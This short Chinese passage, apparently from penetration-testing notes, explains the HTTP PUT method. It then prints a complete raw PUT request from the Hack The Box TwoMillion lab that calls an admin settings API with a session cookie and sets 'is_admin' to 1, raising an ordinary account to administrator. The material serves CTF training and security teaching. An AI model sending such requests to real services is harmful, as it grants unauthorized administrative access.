PUT
请求用于向服务器更新指定资源,可以理解为对服务器上的资源进行修改操作。使用 PUT
请求方式会覆盖原有的资源内容,因此需要谨慎使用。
在渗透测试中,有可能服务端会暴露PUT请求的api,如修改用户权限的api,例如HTB的TwoMillion靶场就利用了这个api将普通用户提升为管理员用户:
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=lb54v6es5dm1k3h5fvk8vu325p
Connection: close
Content-Type:application/json
Content-Length: 51
{
"email":"12345@gmail.com",
"is_admin":1
}